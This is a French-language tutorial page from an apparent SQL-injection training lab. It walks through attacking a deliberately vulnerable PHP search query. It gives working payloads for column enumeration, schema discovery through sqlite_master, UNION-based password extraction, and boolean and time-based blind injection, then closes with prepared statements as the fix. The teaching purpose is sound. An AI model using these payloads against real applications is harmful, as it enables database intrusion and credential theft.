← QUITTER_ACADEMIE
NET_WATCH // TRAINING_FACILITY
SQLI_OPERATOR_V2

01 // PSYCHOLOGIE DU SQLI

L'injection SQL n'est pas un bug technique, c'est une faille logique. Elle survient quand un programme confond du "texte" envoyé par un utilisateur avec des "instructions" destinées à la base de données.

Le concept de Concaténation

Dans ce lab, le serveur construit sa requête comme ceci :

$query = "SELECT id, username, email, bio FROM users WHERE username LIKE '%" . $_GET['search'] . "%'";

Si vous injectez ' OR 1=1--, vous changez la structure même du programme.

MISSION : Votre but est de sortir du périmètre de recherche "LIKE" pour forcer le serveur à vous donner des données qu'il ne devrait pas montrer (mots de passe, schémas, etc.).

02 // ARCHITECTURE_CIBLE

Avant d'attaquer, un hacker doit cartographier la structure de la base de données. C'est la phase de Reconnaissance.

Étape 1 : Nombre de colonnes (ORDER BY)

L'attaque UNION nécessite d'avoir le même nombre de colonnes que la requête originale. Testez l'index jusqu'à l'erreur :

' ORDER BY 4-- => OK
' ORDER BY 5-- => ERREUR

Étape 2 : Découverte du Schéma

Dans SQLite, la table sqlite_master contient le plan de toute la base. On injecte pour voir la structure de la table users :

' UNION SELECT 1, name, sql, 4 FROM sqlite_master--

Cela vous révèlera qu'il existe une colonne nommée password.

03 // PROTOCOLE_UNION

L'attaque par UNION permet d'exfiltrer les données directement dans l'interface de la victime.

Le Payload d'Extraction

Puisque nous avons identifié 4 colonnes, nous construisons notre UNION ainsi :

' UNION SELECT id, username, password, email FROM users--

Mapping des résultats (Le Piège)

Le serveur affichera les données dans ses propres cases :

  • Username (Jaune) : Affichera username
  • Email (Gris) : Affichera password (C'est votre but !)
  • Bio (Petit texte) : Affichera email
ATTENTION : Si vous voyez [DB_DUMP] dans le nom, c'est que le simulateur a validé votre exfiltration massive.

04 // INJECTION_AVEUGLE

Parfois, le serveur ne renvoie rien à l'écran (pas d'erreurs, pas de données). On parle de Blind SQLi.

Méthode Boolean (Vrai/Faux)

On pose une question. Si la page charge l'utilisateur, la réponse est OUI. Sinon, c'est NON.

' AND (SELECT SUBSTR(password,1,1) FROM users WHERE id=1)='A'--

Méthode Temporelle (Time-based)

On demande à la DB de "dormir" si notre supposition est correcte. On mesure le temps de réponse.

' AND (SELECT CASE WHEN (1=1) THEN RANDOMBLOB(500000000) ELSE 1 END)--

05 // REMÉDIATION_TACTIQUE

La SQL Injection est considérée comme une faute de développement élémentaire en 2026. La solution est universelle.

Les Requêtes Préparées (Prepared Statements)

On envoie d'abord la structure de la commande, puis les données séparément. Le moteur SQL ne peut plus confondre les deux.

// SÉCURISÉ
$stmt = $pdo->prepare("SELECT * FROM users WHERE name = ?");
$stmt->execute([$_GET['search']]);

Pourquoi ça marche ?

Le moteur SQL compile la commande avant de recevoir votre texte. Votre payload ' OR 1=1 est alors traité comme un simple nom d'utilisateur bizarre, et non comme du code.